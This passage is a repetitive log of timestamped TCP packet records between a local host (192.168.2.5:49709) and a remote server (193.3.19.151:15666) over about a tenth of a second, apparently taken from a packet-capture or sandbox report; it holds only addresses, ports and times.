Dec 19, 2024 08:53:05.823615074 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.823661089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.823698044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.823745966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.823792934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.823841095 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.865878105 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.865936041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.914341927 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.914385080 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.914412975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.914462090 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.914490938 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.914592981 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.914603949 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.914669037 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.914892912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.914951086 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.915051937 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.915127039 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.915379047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.915493965 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.915555954 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.915571928 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.915625095 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.915662050 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.915715933 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.915836096 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.915889978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.915937901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.915977001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.916004896 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.916035891 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.916412115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.916476011 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.916513920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.916588068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.916646004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.916693926 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.916744947 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.916780949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.916866064 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.916924000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917006016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917059898 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917121887 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917176008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917227030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917282104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917469978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917499065 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917527914 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917552948 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917579889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917635918 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917731047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917778969 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917783976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917835951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.917902946 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.917958975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918051958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918098927 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918104887 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918291092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918354034 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918364048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918437004 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918461084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918494940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918530941 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918585062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918625116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918680906 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918693066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918737888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918745041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918795109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918880939 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.918940067 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.918973923 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919028044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.919075966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919182062 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.919209957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919264078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919325113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.919368982 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919450998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919513941 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.919531107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919644117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919698954 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.919738054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919799089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.919836998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919891119 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.919933081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.919994116 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920073986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920121908 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920170069 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920221090 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920222044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920290947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920325994 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920351028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920386076 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920398951 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920455933 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920468092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920514107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920568943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920608044 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920672894 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920728922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920854092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.920932055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.920939922 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.921015978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.921066999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.921133995 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.921139002 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.921195984 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.921240091 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.921291113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.921292067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.921346903 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.921360970 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.921416044 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.921427011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.921542883 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.923094034 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.923147917 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.923166990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.923216105 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.923338890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.923394918 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.923396111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.923429012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.923453093 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.923482895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.923877954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.923929930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.924067974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.924288988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.924406052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.924460888 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.924613953 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.924662113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.924740076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.924808979 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.924855947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.924866915 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.924884081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.924909115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.924927950 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.924964905 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925056934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.925066948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925132990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925187111 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.925231934 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925343037 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925391912 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925409079 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.925441980 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.925460100 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925512075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.925513983 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.925580025 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.926851988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.926963091 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.926980972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.927062988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.927253008 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.927306890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.927561045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.927675962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.927709103 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.927740097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.927762032 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.927768946 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.927830935 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.927989006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928147078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928200006 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928212881 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928240061 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928272963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928339958 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928361893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928395987 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928467035 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928564072 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928570986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928627968 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928638935 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928704977 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928740978 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928797007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928811073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.928908110 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.928921938 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.929003000 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.929061890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.929061890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.929121971 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.929172993 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.929224968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.929282904 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.929327965 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.929378033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.929425955 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.931452036 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.931519985 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.931745052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.931816101 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.931821108 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.931879997 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.931902885 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.931936979 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.931996107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932049036 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.932146072 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932240009 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.932254076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932296038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932348967 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.932543993 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932602882 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.932634115 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932708979 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.932720900 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932780027 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.932784081 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932840109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.932934999 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.932987928 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933032036 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933084011 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933146954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933207035 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933279991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933304071 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933330059 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933346987 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933448076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933506012 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933507919 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933578968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933626890 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933692932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933799028 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933852911 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933908939 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.933959007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.933989048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.934046030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.934344053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.934392929 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.934683084 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.934736967 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.934847116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.934963942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.934978962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935070992 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935123920 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.935158968 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935210943 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.935343027 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935466051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.935503006 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935555935 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.935589075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935642958 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.935722113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935771942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.935875893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935926914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.935955048 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.935971975 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.936139107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936153889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936202049 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.936219931 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.936275959 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936372995 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936433077 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936450005 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.936479092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.936513901 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936600924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936650038 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.936702013 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936810970 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.936834097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936876059 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.936930895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.937026024 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937079906 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.937119007 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937169075 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.937266111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937316895 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.937397957 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937449932 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.937536955 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937633991 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937693119 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.937787056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937880993 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.937941074 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.937975883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938029051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938150883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938229084 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938254118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938288927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938394070 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938494921 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938503027 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938532114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938569069 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938570976 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938584089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938623905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938656092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938714027 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938750982 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938800097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.938858986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.938941956 CET	15666	49709	193.3.19.151	192.168.2.5
